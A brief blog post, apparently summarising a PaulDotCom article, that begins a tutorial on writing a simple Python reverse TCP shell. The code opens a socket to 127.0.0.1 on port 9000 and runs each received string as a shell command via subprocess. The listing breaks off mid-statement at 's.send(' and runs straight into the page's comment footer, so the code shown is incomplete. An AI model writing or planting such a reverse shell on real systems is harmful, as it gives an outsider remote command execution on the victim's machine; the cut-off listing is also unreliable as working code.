This post will summary from the PaulDotCom post. If you want to full detail, please go to the Source.
1. We will write the simple python reverse tcp connect shell
import socket
import subprocess
s=socket.socket()
s.connect(("127.0.0.1",9000))
while 1:
p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(
No comments:
Post a Comment